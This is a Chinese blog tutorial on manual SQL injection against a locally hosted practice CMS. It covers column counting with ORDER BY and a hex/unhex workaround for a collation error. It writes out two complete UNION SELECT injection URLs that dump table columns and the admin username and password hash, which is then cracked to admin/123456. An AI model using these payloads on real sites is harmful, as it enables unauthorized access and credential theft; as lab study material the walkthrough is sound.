注入id列表_练习cms SQL手动注入

本文通过分析CMS系统中URL的id参数,揭示了SQL注入的切入点。利用数字类型的id进行联合查询,通过order by测试确定列数为15。在尝试获取后台登录账户和密码的过程中,遇到因字符编码不同导致的联合查询失败问题。最终通过将所有数据转化为二进制,解决了编码差异,成功获取了表名和字段内容,经过解密得到admin/123456的登录凭据。
摘要由CSDN通过智能技术生成

点击列表中的任意新闻链接进行查看:

804673687971128f09e836f06996cc64.png

发现url中get请求的id,查看不同的id值来寻找注入点:

f862a6acc66dbb78e3a4766d51a73076.png
173a3c9ed3b0dbc8f4863b04dcd9b771.png

id不同,页面显示不同,找到注入切入点,考虑联合查询法注入!

判断id值是数字类型还是字符类型:

3e2f426f4fae816c8442165636f76164.png

id是数字类型!

由于DVWA中,已经测试其它方法,这里不再测试!

联合查询,需要保证两表的列数相同和列的数据类型相同:

  1. 数据类型相同,通过数字来表示。
  1. 列数相同,通过order by来测试获取,列数不存在,报错,存在,不报错!

order by测试获取列数:

1df5c7b9ebeeaad9d5026c70705e9b8f.png
f21ed6a983c0d4d24178261900833c8c.png
279f4702f9508d6f34f9a6983ad620eb.png

确定列数为15!

联合查询,只想显示union select右边表的数据,所以左边条件置为false,反正不影响and的取值,这里的目的只想显示右表的数据:

2e1e08a7435c227c628ddc8b70844797.png
543bccdeaa8fb3e0990cd3b4d2d1cdc0.png

联合查询进行注入:

9c02fb30b32372f4c27df26d27867bda.png

图示可知只显示3和11列的数据,说明通过这两个字段可以获取需要的信息,实践:

b885302125a940deb7f6ff6dcdf9e8a4.png

数据库名:cms

MySQL版本:5.5.53

目的是获取后台登录的账户和密码,需要通过表来查询:

获取所有表:

946d13fad3f504ed6cac08d634c5bb14.png

提示错误信息:

Illegal mix of collations for operation 'UNION'

(确定sql语句没有写错,不然会提示语法错误!)

f871efda894106f76cc9b981743e9c35.png

验证:

查看cms中的表的字段的类型和字符编码:(真实sql注入场景,没法查看cms中的信息)

c456c642cb0bdc13a97b9c37260654ed.png
02f0a2e006d96eae30424e719be78b04.png

information_schema库的tables表:

b6c63ea4cfed7324b5bbfa7220e707f2.png
16100745817c48577efee2fdf5118079.png

cms中的cms_article表和information_schema的tables表,对应的字段的类型不同,编码又不同,联合查询会失败!

问题所在:字段的字符编码不同导致!

解决思路:

  1. 不管什么类型,什么编码方式,在CPU看来最后都是0或1,所以全部转化为二进制,联合查询应该没问题!
  2. 修改为相同的字符编码方式!

实验思路1:

5926a59893b392081246a575562d943e.png

错误消失,但显示内容是一串16进制数字,通过UNHEX(),把相应的16进制数字转化为字符:

9d223c2234726d84e0994385f98922a2.png
74c4325a656b1895da40effcaefd4e56.png
d3851b13ef82473cacee1e6fdfc5cd22.png

成功获取所有表!

获取指定cms_users中所有字段:

http://localhost/cms/show.php?id=34 and 1=2 union select 1,2,group_concat(unhex(hex(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' --+
26f47a3d6b2998dacc9d0d67323449c0.png

获取username和password字段内容:

http://localhost/cms/show.php?id=34 and 1=2 union select 1,2,group_concat(unhex(hex(concat(username,'=',password)))),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
d68142ad70bc60d908f689ea677b81db.png
7363e18c68e656200b58f9087f6881ba.png

md5解密:

ec1ed4758bd7285c2939d5bf582c169c.png

验证:(admin/123456)

71bcbcb447d145e18026401fa0dc9471.png
bcf13ed098b63e50b388ec7202829ed9.png

Well Done!!!

实验思路2:

转化为相同的编码:

437e4a0d3eaebbca93720c367a2964d2.png

改为:utf8_unicode_ci

6d3f007c1fcffefe251534bf3db14da1.png

没测试,但是你请可以随意!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值